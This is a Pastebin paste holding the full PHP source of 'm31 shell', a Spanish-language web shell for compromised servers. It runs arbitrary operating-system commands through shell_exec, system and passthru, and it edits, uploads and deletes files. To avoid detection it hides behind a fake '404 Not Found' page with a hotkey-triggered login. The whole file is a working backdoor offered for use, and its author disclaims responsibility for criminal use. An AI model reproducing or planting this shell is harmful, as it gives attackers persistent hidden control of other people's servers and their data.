Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- /*
- m31 shell:
- Author: Aex12.
- Language: Spanish
- Version: 0.1.2b
- URL: http://holoscripter.org/foro/index.php?topic=301.0
- Developed in:
- PHP: 5.4.9-4ubuntu2.2 (cli) (built: Jul 15 2013 18:24:39)
- Server: Lubuntu 13.04, Apache/2.2.22 (Ubuntu)
- Client: Lubuntu 13.04, Chrome 26.0.1410.63 (Build oficial 192696)
- Bootstrap: 2.3.2
- jQuery: 1.10.1
- jQuery UI: 1.10.3
- jQuery Hotkeys: 0.7.9
- */
- header('Content-Type: text/html; charset=ISO-8859-1'); //Charset (UTF-8 por defecto), en caso de problemas con caracteres cambiar por ISO-8859-1
- DEFINE("user","50f8b2690eeac2c2590451b81c45f893f9a57b8d"); // Usuario: sha1(md5("m31"));
- DEFINE("pass","5e43ac2ef1139e88fada3c19b1b10a94493832a3"); // Contraseña: sha1(md5("holoscripter"));
- //Opciones de "personalizacion"
- $background = "http://fc08.deviantart.net/fs70/i/2011/015/e/3/clarity_by_foolish_fox-d379pzg.jpg"; //fondo de la shell
- $bootstrapcss = "http://getbootstrap.com/2.3.2/assets/css/bootstrap.css"; //css de bootstrap version 2.3.2, preferible establecer la version .min.css para una carga mas acelerada. (Estamos portando a Bootstrap 3)
- $body_style = "margin-top:19px; background-repeat:no-repeat; background-attachment:fixed;"; //css de body
- $logotipo = "abajo"; // Posibles: arriba, abajo, desactivado.
- $nav_color = "#E3E3E3"; //Color en html del fondo del menu
- $accordion_color = "#F5F5F5"; //color en html del menu
- $menu_radio = "8"; //radio en pixeles de los menus.
- //Opciones de las sesiones PHP:
- $lifetime = "0"; //Tiempo en segundos que durará la sesion. 0 = hasta cerrar navegador.
- $maxlifetime = "259200"; //tiempo en segundos que tardará la sesion en caducar en caso de inactividad.
- //Opciones del chat:
- $wmode = "direct"; //posibles: transparent, opaque, window, direct. (Busca en google)
- $quality = "high"; //posibles: high, low, medium
- $language = "es"; //posibles: es, en.
- $height = "466"; //Alto en pixeles
- $width = "790"; //Ancho en pixeles
- $bgcolor = "#000000"; //color de fondo en html
- $xats = array(
- 'Holoscripter' => '153256001',
- 'Chat2' => '21312',
- 'Chat3' => '123'
- );
- //Opciones POPUP editar:
- $popup_ancho = "650"; //ancho en pixeles del popup editar
- $popup_alto = "500"; //alto en pixeles del popup editar
- //combinaciones:
- $comb_login = "ctrl+k"; //combinacion de teclas para abrir login
- $comb_save = "ctrl+s"; //combinacion de teclas para guardar un archivo mientras se edita.
- //iconos:
- $actionicon = array(
- 'borrar' => 'http://cdn1.iconfinder.com/data/icons/aspneticons_v1.0_Nov2006/trash_%28delete%29_16x16.gif',
- 'editar' => 'http://cdn1.iconfinder.com/data/icons/silk2/page_white_edit.png',
- 'carpeta' => 'http://cdn1.iconfinder.com/data/icons/fugue/icon_shadowless/folder_horizontal_open.png',
- 'desconocido' => 'http://cdn1.iconfinder.com/data/icons/16x16-free-toolbar-icons/16/file.png',
- 'permisos' => 'https://cdn1.iconfinder.com/data/icons/famfamfam_mini_icons/icon_padlock.gif',
- );
- $iconos = array(
- 'pdf' => 'http://cdn1.iconfinder.com/data/icons/spirit20/file-pdf.png',
- 'xls' => 'http://cdn1.iconfinder.com/data/icons/spirit20/file-xls.png',
- 'php' => 'http://static.php.net/www.php.net/favicon.ico',
- 'html' => 'http://cdn1.iconfinder.com/data/icons/ledicons/html.png',
- 'txt' => 'http://cdn1.iconfinder.com/data/icons/16x16-free-toolbar-icons/16/2.png',
- 'png' => 'http://cdn1.iconfinder.com/data/icons/ledicons/picture.png',
- 'jpg' => 'http://cdn1.iconfinder.com/data/icons/ledicons/picture.png',
- 'jpeg' => 'http://cdn1.iconfinder.com/data/icons/ledicons/picture.png',
- 'gif' => 'http://cdn1.iconfinder.com/data/icons/ledicons/picture.png',
- 'js' => 'http://cdn1.iconfinder.com/data/icons/silk2/cup_edit.png',
- );
- $img_resize="125";
- $version = "v0.1.2b";
- session_set_cookie_params($lifetime);
- ini_set("session.gc_maxlifetime", $maxlifetime);
- session_start();
- if(!isset($_GET['page'])){
- if(!isset($_SESSION['page'])){
- $page = "welcome";
- $_SESSION['page'] = "welcome";
- } else {
- $page = $_SESSION['page'];
- }
- } else {
- $page = $_GET['page'];
- $_SESSION['page'] = $_GET['page'];
- }
- if(isset($_GET['reload'])){
- $page = $_SESSION['page'];
- }
- if($page == "disconnect"){
- session_destroy();
- header('Location: '.$_SERVER['PHP_SELF']);
- }
- if((isset($_POST['user'])) && (isset($_POST['pass']))){
- $_SESSION['user'] = sha1(md5($_POST['user']));
- $_SESSION['pass'] = sha1(md5($_POST['pass']));
- }
- if(isset($_GET['dir'])){$_SESSION['dir'] = $_GET['dir'];}
- if(!isset($_SESSION['dir'])){ $_SESSION['dir'] = getcwd();}
- $dir = $_SESSION['dir'];
- function extension($ext){
- if(strpos($ext,".")){
- return end(explode(".", $ext));
- } else {
- return ".";
- }
- }
- function filename($file){
- if(strpos($file,"/")){
- return end(explode("/", $file));
- } else {
- return end(explode('\\', $file));
- }
- }
- function tamano($peso , $decimales = 2 ) {
- $clase = array(" Bytes", " KB", " MB", " GB", " TB");
- if($peso != 0){
- return round($peso/pow(1024,($i = floor(log($peso, 1024)))),$decimales ).$clase[$i];
- } else {
- return "Vacio";
- }
- }
- function table($nombre, $carpeta=0, $id=0){
- global $dir; global $iconos; global $actionicon;
- if($carpeta==0){
- $extension = extension($nombre);
- if(!isset($iconos[$extension])){
- $icono = $actionicon['desconocido'];
- } else {
- $icono = $iconos[$extension];
- }
- $return =
- '<tr id="a_'.$id.'">
- <td><img src="'.$icono.'"></td>
- <td id="an_'.$id.'">'.$nombre.'</td>
- <td><div class="btn-group" style="height:20px;">
- <a class="btn dropdown-toggle" data-toggle="dropdown" href="#" style="height:13px;">
- Más info
- <span class="caret"></span>
- </a>
- <ul class="dropdown-menu">
- <li><a tabindex="-1"><b>Tamaño</b>: '.tamano(@filesize($nombre)).'</a></li>
- <li><a tabindex="-1"><b>Permisos</b>: '.substr(decoct(fileperms($nombre)),2).'</a></li>
- </ul>
- </div></td>
- <td><a onClick="edit(\''.$dir.'/'.$nombre.'\');"><img src="'.$actionicon['editar'].'" title="EDITAR '.$nombre.'"></a> <a onClick="delfile(\''.$dir.'/'.$nombre.'\', \'a_'.$id.'\')"><img src="'.$actionicon['borrar'].'" title="ELIMINAR '.$nombre.'"></a></td>
- </tr>';
- return $return;
- } elseif(($nombre == "..") && ($carpeta==1)){
- $carpetas = split("/",$dir);
- array_pop($carpetas);
- $dir2 = join("/",$carpetas);
- if($dir2==""){$dir2="/";}
- $return =
- '<tr>
- <td><img src="'.$actionicon['carpeta'].'"></td>
- <td><a href="#" onClick="listardir(\''.$dir2.'\')">[Atrás] '.$nombre.'</a></td>
- <td></td>
- <td></td>
- </tr>';
- return $return;
- } elseif(($nombre == ".") && ($carpeta==1)){
- $return =
- '<tr>
- <td><img src="'.$actionicon['carpeta'].'"></td>
- <td><a href="#" onClick="listardir(\''.$dir.'\')">[Recargar] '.$nombre.'</a></td>
- <td></td>
- <td></td>
- </tr>';
- return $return;
- } elseif($carpeta==1){
- if($dir=="/"){$dir="";}
- $return =
- '<tr>
- <td><img src="'.$actionicon['carpeta'].'"></td>
- <td><a href="#" onClick="listardir(\''.$dir.'/'.$nombre.'\')">'.$nombre.'</a></td>
- <td></td>
- <td>Borrar</td>
- </tr>';
- return $return;
- }
- }
- function add2menu($nombre, $pagina){
- echo "<li id='nav_$pagina' class='".active($pagina)."'><a href='?page=$pagina' onclick='page(\"$pagina\"); return false;'>+ $nombre</a></li>";
- }
- class SimpleImage { var $image; var $image_type; function load($filename) { $image_info = getimagesize($filename); $this->image_type = $image_info[2]; if( $this->image_type == IMAGETYPE_JPEG ) { $this->image = imagecreatefromjpeg($filename); } elseif( $this->image_type == IMAGETYPE_GIF ) { $this->image = imagecreatefromgif($filename); } elseif( $this->image_type == IMAGETYPE_PNG ) { $this->image = imagecreatefrompng($filename); } } function output($image_type=IMAGETYPE_JPEG) { if( $image_type == IMAGETYPE_JPEG ) { imagejpeg($this->image); } elseif( $image_type == IMAGETYPE_GIF ) { imagegif($this->image); } elseif( $image_type == IMAGETYPE_PNG ) { imagepng($this->image); } } function getWidth() { return imagesx($this->image); } function getHeight() { return imagesy($this->image); } function resizeToHeight($height) { $ratio = $height / $this->getHeight(); $width = $this->getWidth() * $ratio; $this->resize($width,$height); } function resizeToWidth($width) { $ratio = $width / $this->getWidth(); $height = $this->getheight() * $ratio; $this->resize($width,$height); } function scale($scale) { $width = $this->getWidth() * $scale/100; $height = $this->getheight() * $scale/100; $this->resize($width,$height); } function resize($width,$height) { $new_image = imagecreatetruecolor($width, $height); imagecopyresampled($new_image, $this->image, 0, 0, 0, 0, $width, $height, $this->getWidth(), $this->getHeight()); $this->image = $new_image; } }
- function active($pagina){
- if($_SESSION['page'] == $pagina){return 'active';}
- }
- function aex_buscar($ruta, $ext=FALSE){
- $archivos = array();
- if($ext){
- $ext = strtolower($ext);
- if(strpos($ext, ",")){
- $ext2 = explode(",", $ext);
- } else {
- $ext2 = array('0' => $ext);
- }
- }
- if (is_dir($ruta)){
- if ($dh = opendir($ruta)){
- while (($file = readdir($dh)) !== false){
- $extension = extension(strtolower($file));
- if($file != ".."){
- if($file != "."){
- if(!is_dir($ruta.'/'.$file)){
- if($ext){
- if(in_array($extension, $ext2)){
- $archivos[] = $ruta.'/'.$file;
- }
- } else {
- $archivos[] = $ruta.'/'.$file;
- }
- } else {
- $archivos = array_merge($archivos, aex_buscar($ruta.'/'.$file, $ext));
- }
- }
- }
- }
- closedir($dh);
- } else {
- return FALSE;
- }
- } else {
- return FALSE;
- }
- return $archivos;
- }
- if(isset($_SESSION['user'])){
- if(($_SESSION['user'] == user) && ($_SESSION['pass'] == pass)){
- $online = 1;
- if((isset($_POST['user'])) && (isset($_POST['pass']))){
- exit(header("Location: ".$_SERVER['PHP_SELF']."?page=welcome"));
- }
- }
- }
- if(isset($online)){
- if(isset($_GET['loadmoreimgs'])){
- $archivos1 = aex_buscar($_GET['loadmoreimgs'], "png,jpg,jpeg,gif");
- $i = 0;
- while($i < count($archivos1)){
- echo "<p>";
- echo "<a href='#' onClick='galleryLoad(\"$archivos1[$i]\", $i)'><img id='img_$i' src='?getthumbnail=$archivos1[$i]&resize=$img_resize' class='img-rounded' title='".filename($archivos1[$i])."'></a>";
- echo "</p>";
- $i++;
- }
- exit;
- }
- if(isset($_GET['getbytes'])){
- exit(tamano(@filesize($_GET['getbytes'])));
- }
- $carrusel = array('png','jpg','jpeg','gif');
- if(isset($_GET['imageview'])){
- $imagen = $_GET['imageview'];
- $ext = extension($imagen);
- if(in_array($ext, $carrusel)){
- if (is_file($imagen)){
- header('content-type: image/'.$ext);
- readfile($imagen);
- exit;
- }
- exit;
- }
- exit;
- }
- if(isset($_GET['getthumbnail'])){
- $imagen = $_GET['getthumbnail'];
- $ext = extension($imagen);
- if(in_array($ext, $carrusel)){
- if (is_file($imagen)){
- header('content-type: image/'.$ext);
- $image = new SimpleImage();
- $image->load($imagen);
- $image->resizeToWidth($_GET['resize']);
- $image->output();
- exit;
- }
- exit;
- }
- exit;
- }
- if(isset($_GET['cmd'])){
- $metodo = $_GET['metodo'];
- $cmd = $_GET['cmd'];
- chdir($dir);
- if($metodo == "shellexec"){
- echo nl2br(htmlspecialchars(shell_exec($cmd)));
- exit();
- }
- if($metodo == "system"){
- system($cmd);
- exit();
- }
- if($metodo == "passthru"){
- passthru($cmd);
- exit();
- }
- exit("No se ha seleccionado metodo");
- }
- if(isset($_GET['edit'])){
- if(isset($_POST['content'])){
- if($fp = @fopen($_GET['edit'],"w")){
- fwrite($fp, stripslashes($_POST['content']));
- fclose($fp);
- exit('exito');
- } else {
- exit("error:perm");
- }
- }
- }
- if(isset($_GET['edit'])){
- $html = htmlspecialchars(file_get_contents($_GET['edit']));
- ?>
- <script language="javascript" type="text/javascript" src="http://www.cdolivet.com/editarea/editarea/edit_area/edit_area_full.js"></script>
- <script src="//ajax.googleapis.com/ajax/libs/jquery/1.10.1/jquery.min.js"></script>
- <script src="http://js-hotkeys.googlecode.com/files/jquery.hotkeys-0.7.9.min.js"></script>
- <link rel="stylesheet" href="http://fabien-d.github.io/alertify.js/assets/js/lib/alertify/alertify.core.css"/>
- <link rel="stylesheet" href="http://fabien-d.github.io/alertify.js/assets/js/lib/alertify/alertify.default.css"/>
- <script src="http://fabien-d.github.io/alertify.js/assets/js/lib/alertify/alertify.min.js"></script>
- <script language="javascript" type="text/javascript">
- editAreaLoader.init({
- id : "a1"
- ,syntax: "php"
- ,language: "es"
- ,save_callback: "check"
- ,display: "later"
- ,toolbar: "save,|,search, go_to_line, fullscreen, |, undo, redo, |, syntax_selection, |, select_font,|, change_smooth_selection, highlight, reset_highlight, word_wrap, |, help"
- ,start_highlight: true
- });
- function save(content){
- $.post("?edit=<?php echo $_GET['edit']; ?>", { content: content })
- .done(function(data) {
- if(data == "exito"){
- alertify.success("Editado correctamente!", 2500);
- }
- if(data == "error:perm"){
- alertify.error("No tienes permisos para editar este archivo");
- }
- });
- }
- function check(id, content){
- if(id){
- save(content);
- } else {
- save($('#a1').val());
- }
- }
- $(document).bind('keydown', '<?php echo $comb_save; ?>', function (evt) {
- check();
- return false;
- });
- </script>
- <textarea id="a1" style="width:100%; height:97%; margin-top:0px; margin-left:0px;">
- <?php echo $html; ?>
- </textarea>
- ATENCION: Si tu PC es poco potente no es recomendado activar esta opcion en archivos grandes.
- <button onClick="check();">Guardar</button>
- <?php
- exit();
- }
- if(isset($_GET['upload'])){
- if (array_key_exists('HTTP_X_FILE_NAME', $_SERVER) && array_key_exists('CONTENT_LENGTH', $_SERVER)) {
- $fileName = $_SERVER['HTTP_X_FILE_NAME'];
- $contentLength = $_SERVER['CONTENT_LENGTH'];
- } else throw new Exception("Error recibiendo cabeceras");
- if (!$contentLength > 0) {
- throw new Exception('No se ha subido ningun archivo!');
- }
- if($_GET['newname'] == ""){ $_GET['newname'] = $fileName;}
- file_put_contents($dir.'/'.$_GET['newname'], file_get_contents("php://input"));
- exit();
- }
- if(isset($_GET['obtenerdir'])){
- $_SESSION['dir'] = $_GET['obtenerdir'];
- $dir = $_SESSION['dir'];
- @chdir($dir);
- ?>
- <script>alertify.log("Carpeta: <?php echo $dir; ?>", "", 2500);</script>
- <table class="table table-striped table-condensed" id="table_files" style="width:100%;">
- <thead>
- <tr style="width:100%;">
- <th style="width:10%;">i</th>
- <th style="width:40%;">Nombre</th>
- <th style="width:30%;">Peso</th>
- <th style="width:20%;"><div class="btn-group">
- <a class="btn dropdown-toggle" data-toggle="dropdown" href="#">
- Acciones
- <span class="caret"></span>
- </a>
- <ul class="dropdown-menu">
- <li><a tabindex="-1" href="#" id="opener" onclick="$('#dialog').dialog('open');">Subir archivos</a></li>
- </ul>
- </div></th>
- </tr>
- </thead>
- <tbody>
- <?php
- $folders = array();
- $archivos1 = array();
- if(!@opendir($dir)){
- echo table('..', 1);
- ?>
- </table>
- <hr>
- <b>No tienes permisos para visualizar esta carpeta, vuelva atrás.</b>
- <?php
- exit; }
- $directorio=opendir($dir);
- while ($archivo = readdir($directorio)) {
- if($archivo == '.'){
- echo table(".", 1);
- } elseif($archivo == '..'){
- if($dir != '.'){
- echo table($archivo, 1);
- }
- }
- elseif(is_dir("$dir/$archivo")){
- $folders[] = $archivo;
- } else {
- $archivos1[] = $archivo;
- }
- }
- closedir($directorio);
- $i=0;
- @array_multisort(@array_map('strtolower', $folders), $folders);
- while ($i < count ($folders) ) {
- echo table($folders[$i], 1);
- $i++;
- }
- $i=0;
- @array_multisort(@array_map('strtolower', $archivos1), $archivos1);
- while ($i < count ($archivos1) ) {
- echo table($archivos1[$i], 0, $i);
- $i++;
- }
- ?>
- </tbody>
- </table>
- <?php
- exit();
- }
- if(isset($_GET['delete'])){
- if(unlink($_GET['delete'])){
- exit("1");
- } else {
- exit("0");
- }
- }
- if(isset($_GET['ajaxpage'])){
- if($page == "welcome"){ ?>
- <script>alertify.log("Bienvenido!", "", 3000);;</script>
- <div class="hero-unit">
- <h1>Bienvenido a m31</h1>
- <p>Esta es la unica shell hasta el momento que usa jQuery, jQueryUI, Ajax y Bootstrap. Espero que le agrade, ya que ha sido diseñada para ser sencilla de usar, sin tener que renunciar a opciones mas avanzadas. Si no conoce bien el funcionamiento de esta shell, simplemente haga click en el boton "Manual" para ir al hilo oficial de esta shell y recibir mas información acerca de ella. Cordialmente, Aex12.</p>
- <p>No me hago responsable de ningun daño causado con esta shell, todo acto dañino/delictivo será responsabilidad del usuario final.</p>
- <p>
- <a class="btn btn-primary btn-large" href="http://holoscripter.org/foro/index.php?topic=301.0">
- Manual
- </a>
- </p>
- </div>
- <?php
- exit();
- }
- if($page == "phpinfo"){
- echo '<script>alertify.log("PHPInfo", "", 3000);;</script>';
- echo phpinfo();
- exit();
- }
- if($page == "gallery"){
- $directorio=opendir($dir);
- $archivos1 = array();
- while ($archivo = readdir($directorio)) {
- $extension = extension($archivo);
- if (in_array($extension, $carrusel)) {
- $archivos1[] = $archivo;
- }
- }
- ?>
- <script>
- alertify.log("Galería", "", 3000);
- var antique = "Nothing";
- function galleryLoad(file, id){
- $("#gallery").attr("src","?imageview="+file);
- $.get('?getbytes='+file, function(data) {
- $("#gallery_bytes").html(data);
- });
- if(antique != id){
- $("#img_"+id).attr("class", "img-circle");
- $("#img_"+antique).attr("class", "img-rounded");
- $("#gallery_name").html(file);
- antique = id;
- }
- }
- function loadMore(folder){
- $.get('?loadmoreimgs='+folder, function(data) {
- $("#gallery_list").html(data);
- });
- }
- <?php
- if(count($archivos1) != 0){
- ?>
- galleryLoad("<?php echo $dir.'/'.$archivos1['0']; ?>", 0);
- <?php } ?>
- </script>
- <div>
- <div class="well well-small span10" style="max-height:95%;OVERFLOW:auto;">
- <img id="gallery" src="">
- <div class="alert alert-info">
- <b>Archivo: </b><txt id="gallery_name"></txt><br>
- <b>Peso: </b><txt id="gallery_bytes"></txt><br>
- </div>
- </div>
- <div class="well well-small span2" style="max-height:95%;OVERFLOW:auto;" id="gallery_list">
- <?php
- $i = 0;
- while($i < count($archivos1)){
- echo "<p>";
- echo "<a href='#' onClick='galleryLoad(\"$dir/$archivos1[$i]\", $i)'><img id='img_$i' src='?getthumbnail=$dir/$archivos1[$i]&resize=$img_resize' class='img-rounded' title='$archivos1[$i]'></a>";
- echo "</p>";
- $i++;
- }
- ?>
- <p>
- <a href="#" onClick="loadMore('<?php echo $dir; ?>');"><img src="https://cdn1.iconfinder.com/data/icons/juicyfruit_by_salleedesign/128x128/more.png" title="Buscar en: <?php echo $dir; ?>"></a>
- </p>
- </div>
- </div>
- <?
- exit();
- }
- if($page == "terminal"){
- ?>
- <script>
- function cmd() {
- var cmd = $("#cmd").val();
- var metodo = $("input[name='metodo']:checked").val();
- $.get('?cmd='+cmd+'&metodo='+metodo, function(data) {
- $("#resultcmd").html(data);
- $("#cmd").val("");
- });
- return false;
- }
- alertify.log("Terminal", "", 3000);
- </script>
- <div class="well well-small">
- <span class="label"><?php echo getenv("APACHE_RUN_USER"); ?>@php:<?php echo $dir; ?>$</span>
- <hr>
- <blockquote>
- <p id="resultcmd"></p>
- </blockquote>
- <hr>
- <div class="input-prepend input-append">
- <input class="span7" style="width:100%;" id="cmd" onkeypress="{if (event.keyCode==13)cmd()}" type="text">
- <button onClick="cmd();" class="btn">Ejecutar</button>
- </div>
- <br>
- Metodo de ejecución:
- <input type="radio" name="metodo" value="shellexec" checked> shell_exec()
- <input type="radio" name="metodo" value="system"> system()
- <input type="radio" name="metodo" value="passthru"> passthru()
- </div>
- <?php
- exit();
- }
- if($page == "about"){
- ?>
- <script>alertify.log("Acerca de", "", 3000);;</script>
- <div class="hero-unit">
- <h1>m31 shell <?php echo $version; ?></h1><p>
- <br>Shell realizada por Aex12 para la comunidad de Holoscripter.
- <br>El logotipo y favicon han sido diseñados por Exit
- <br>El fondo por defecto está sacado de uno de los wallpapers de Lubuntu 13.04
- <br><br>Se han usado las siguientes librerías:
- <br><a href="http://twitter.github.io/bootstrap/">Bootstrap</a> (CSS), <a href="http://jquery.com/">jQuery</a> (JS), <a href="http://jqueryui.com/">jQuery UI</a> (CSS y JS), <a href="http://fabien-d.github.io/alertify.js/">Alertify</a> (CSS y JS), <a href="http://www.cdolivet.com/editarea/">EditArea</a> (JS), <a href="http://code.google.com/p/js-hotkeys/">HotKeys</a> (JS)
- </p>
- </div>
- <?php
- exit();
- }
- if($page == "xat"){
- ?>
- <script src="http://getbootstrap.com/2.3.2/assets/js/bootstrap-tab.js"></script>
- <script>
- function chateando(xat){
- alertify.log("Chateando en: "+xat, "", 3000)
- }
- </script>
- <div class="well well-small">
- <div class="tabbable">
- <ul class="nav nav-tabs">
- <?php
- $i = 1;
- foreach ($xats as $clave => $valor) {
- if($i == 1){
- echo '<li class="active"><a href="#tab1" onClick="chateando(\''.$clave.'\')" data-toggle="tab">'.$clave.'</a></li>';
- $i++;
- } else {
- echo '<li><a href="#tab'.$i.'" onClick="chateando(\''.$clave.'\')" data-toggle="tab">'.$clave.'</a></li>';
- $i++;
- }
- } ?>
- </ul>
- <div class="tab-content">
- <?php
- $i = 1;
- foreach ($xats as $clave => $valor) {
- if($i == 1){
- echo '<script>chateando("'.$clave.'");</script>';
- echo '<div class="tab-pane active" id="tab1">';
- echo '<embed src="http://www.xatech.com/web_gear/chat/chat.swf" wmode="'.$wmode.'" quality="'.$quality.'" bgcolor="'.$bgcolor.'" width="'.$width.'" height="'.$height.'" name="chat" FlashVars="id='.$valor.'&rl='.$language.'" align="middle" allowScriptAccess="sameDomain" type="application/x-shockwave-flash" pluginspage="http://xat.com/update_flash.shtml" />';
- ?>
- <div class="alert alert-info">
- <b>¿No te abren los enlaces?</b> Prueba a usar esta combinación: <i>" Alt Gr + Click "</i>
- </div>
- <?php
- echo '</div>';
- $i++;
- } else {
- echo '<div class="tab-pane" id="tab'.$i.'">';
- echo '<embed src="http://www.xatech.com/web_gear/chat/chat.swf" wmode="'.$wmode.'" quality="'.$quality.'" bgcolor="'.$bgcolor.'" width="'.$width.'" height="'.$height.'" name="chat" FlashVars="id='.$valor.'&rl='.$language.'" align="middle" allowScriptAccess="sameDomain" type="application/x-shockwave-flash" pluginspage="http://xat.com/update_flash.shtml" />';
- ?>
- <div class="alert alert-info">
- <b>¿No te abren los enlaces?</b> Prueba a usar esta combinación: <i>" Alt Gr + Click "</i>
- </div>
- <?php
- echo '</div>';
- $i++;
- }
- } ?>
- </div>
- </div>
- </div>
- <?php
- exit();
- }
- if($page == "files"){ ?>
- <script>
- $(document).ready(function () {
- listardir("<?php echo $dir; ?>");
- });
- function listardir(dir){
- $.get('?obtenerdir='+dir, function(data) {
- $("#listado").html(data);
- });
- }
- function delfile(del, id){
- $.get('?delete='+del, function(data) {
- if(data == 1){
- var myarray = del.split('/');
- alertify.success("Se ha eliminado "+myarray[myarray.length-1], 1000);
- $("#"+id).fadeOut(250, function(){ $(this).remove();});
- } else {
- alertify.error("No se pudo eliminar el archivo", 1000);
- }
- });
- }
- function edit(file){
- window.open('?edit='+file,'','width=<?php echo $popup_ancho; ?>,height=<?php echo $popup_alto; ?>');
- }
- $(function() {
- $("#dialog").dialog({
- autoOpen: false,
- show: {
- effect: "slide",
- duration: 600
- },
- hide: {
- effect: "fold",
- duration: 400
- }
- });
- });
- function nombre(fic) {
- fic = fic.split('\\');
- return fic[fic.length-1];
- }
- function uploadFile(file){
- if(file){
- alertify.prompt("Elija el nuevo nombre del archivo a subir.", function (e, str) {
- // str is the input text
- if (e) {
- xhr = new XMLHttpRequest();
- xhr.upload.addEventListener('load',function(e){
- alertify.success("El archivo se subio correctamente");
- }, false);
- xhr.upload.addEventListener('error',function(e){
- alertify.error("Hubo algún problema al subir el archivo");
- }, false);
- xhr.open('POST','?upload&newname='+str);
- xhr.setRequestHeader("Cache-Control", "no-cache");
- xhr.setRequestHeader("X-Requested-With", "XMLHttpRequest");
- xhr.setRequestHeader("X-File-Name", file.name);
- xhr.send(file);
- } else {
- return;
- }
- }, nombre($("#archivo").val()));
- }
- }
- function forceupload(){
- var upload_input = document.querySelectorAll('#archivo')[0];
- uploadFile( upload_input.files[0] );
- }
- </script>
- <div id="dialog" title="Basic dialog">
- <input type="file" id="archivo"/><br>
- <button onclick="forceupload();">Subir archivo</button>
- </div>
- <div class="well well-small">
- <div id="listado">
- </div>
- </div>
- <?php
- exit();
- }
- }
- }
- ?>
- <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
- <html><head>
- <script src="//ajax.googleapis.com/ajax/libs/jquery/1.10.1/jquery.min.js"></script>
- <script src="http://js-hotkeys.googlecode.com/files/jquery.hotkeys-0.7.9.min.js"></script>
- <link rel="stylesheet" href="http://code.jquery.com/ui/1.10.3/themes/smoothness/jquery-ui.css" />
- <script src="http://code.jquery.com/ui/1.10.3/jquery-ui.js"></script>
- <script src="http://getbootstrap.com/2.3.2/assets/js/bootstrap-dropdown.js"></script>
- </head>
- <?php if(!isset($online)){?>
- <body>
- <script>
- $(document).bind('keydown', '<?php echo $comb_login; ?>', function (evt) {
- $( "#dialog" ).dialog( "open" );
- return false;
- });
- $(function() {
- $("#dialog").dialog({
- autoOpen: false,
- show: {
- effect: "blind",
- duration: 600
- },
- hide: {
- effect: "explode",
- duration: 400
- }
- });
- });
- </script>
- <title>404 Not Found</title>
- <h1>Not Found</h1>
- <p>The requested URL <?php echo $_SERVER['PHP_SELF']; ?> was not found on this server.</p>
- <hr>
- <?php echo $_SERVER['SERVER_SIGNATURE']; ?>
- <div id="dialog" title="Acceso al shell">
- <form name="formu1" method=POST action="">Usuario: <input type="text" name="user"><br>
- Contraseña: <input type="password" name="pass"><br>
- <input type="submit" value="Acceder"></form>
- </div>
- </body></html>
- <?php } else { ?>
- <link rel="icon" type="image/png" href="http://i.imgur.com/vQEXqX0.png">
- <title>m31 Shell By Aex12</title>
- <link rel="stylesheet" href="<?php echo $bootstrapcss; ?>"/>
- <link rel="stylesheet" href="http://fabien-d.github.io/alertify.js/assets/js/lib/alertify/alertify.core.css"/>
- <link rel="stylesheet" href="http://fabien-d.github.io/alertify.js/assets/js/lib/alertify/alertify.default.css"/>
- <script src="http://fabien-d.github.io/alertify.js/assets/js/lib/alertify/alertify.min.js"></script>
- <script src="http://getbootstrap.com/2.3.2/assets/js/bootstrap-collapse.js"></script>
- <body style="<?php echo $body_style; ?>" background="<?php echo $background; ?>">
- <div class="container-fluid">
- <div class="row-fluid">
- <div class="span2">
- <script>
- var antiquepage = "Nothing";
- function page(page){
- $.get('?page='+page+"&ajaxpage=true", function(data) {
- $("#contenido_pagina").html(data);
- if(antiquepage != page){
- $("#nav_"+page).addClass("active");
- $("#nav_"+antiquepage).removeClass("active");
- antiquepage = page;
- }
- });
- }
- function reload(){
- $.get('?reload=true&ajaxpage=true', function(data) {
- $("#contenido_pagina").html(data);
- });
- }
- page('<?php echo $_SESSION["page"]; ?>');
- $(document).bind('keydown', 'f5', function (evt) {
- reload();
- return false;
- });
- </script>
- <div style="position: fixed">
- <?php if($logotipo=="arriba"){
- echo '<img src="http://i.imgur.com/wOolqv5.png">';
- } ?>
- <div class="accordion" id="accordion2">
- <div class="accordion-group" style="background-color:<?php echo $accordion_color;?>; border-radius:<?php echo $menu_radio; ?>px;">
- <div class="accordion-heading">
- <a class="accordion-toggle" data-toggle="collapse" data-parent="#accordion2" href="#collapseOne">
- [ Básico ]
- </a>
- </div>
- <div id="collapseOne" class="accordion-body collapse in">
- <div class="accordion-inner" style="background-color:<?php echo $nav_color;?>; border-bottom-right-radius:<?php echo $menu_radio; ?>px; border-bottom-left-radius:<?php echo $menu_radio; ?>px;">
- <ul class="nav nav-list">
- <?php add2menu("Archivos", "files"); ?>
- <?php add2menu("Galería", "gallery"); ?>
- </ul>
- </div>
- </div>
- </div>
- <div class="accordion-group" style="background-color:<?php echo $accordion_color;?>; border-radius:<?php echo $menu_radio; ?>px;">
- <div class="accordion-heading">
- <a class="accordion-toggle" data-toggle="collapse" data-parent="#accordion2" href="#collapseTwo">
- [ Avanzado ]
- </a>
- </div>
- <div id="collapseTwo" class="accordion-body collapse">
- <div class="accordion-inner" style="background-color:<?php echo $nav_color;?>; border-bottom-right-radius:<?php echo $menu_radio; ?>px; border-bottom-left-radius:<?php echo $menu_radio; ?>px;">
- <ul class="nav nav-list">
- <?php add2menu("Terminal", "terminal");
- add2menu("phpinfo()", "phpinfo"); ?>
- </ul>
- </div>
- </div>
- </div>
- <div class="accordion-group" style="background-color:<?php echo $accordion_color;?>; border-radius:<?php echo $menu_radio; ?>px;">
- <div class="accordion-heading">
- <a class="accordion-toggle" data-toggle="collapse" data-parent="#accordion2" href="#collapseThree">
- [ Otros ]
- </a>
- </div>
- <div id="collapseThree" class="accordion-body collapse">
- <div class="accordion-inner" style="background-color:<?php echo $nav_color;?>; border-bottom-right-radius:<?php echo $menu_radio; ?>px; border-bottom-left-radius:<?php echo $menu_radio; ?>px;">
- <ul class="nav nav-list">
- <?php add2menu("Bienvenido", "welcome");
- add2menu("Chat", "xat");
- add2menu("Acerca de", "about"); ?>
- <li><a href="?page=disconnect">+ Desconectar</a></li>
- </ul>
- </div>
- </div>
- </div>
- </div>
- <?php if($logotipo=="abajo"){
- echo '<img src="http://i.imgur.com/wOolqv5.png">';
- } ?>
- </div>
- </div>
- <div class="span10" id="contenido_pagina">
- </div>
- </div>
- </div>
- </body>
- <?php } ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement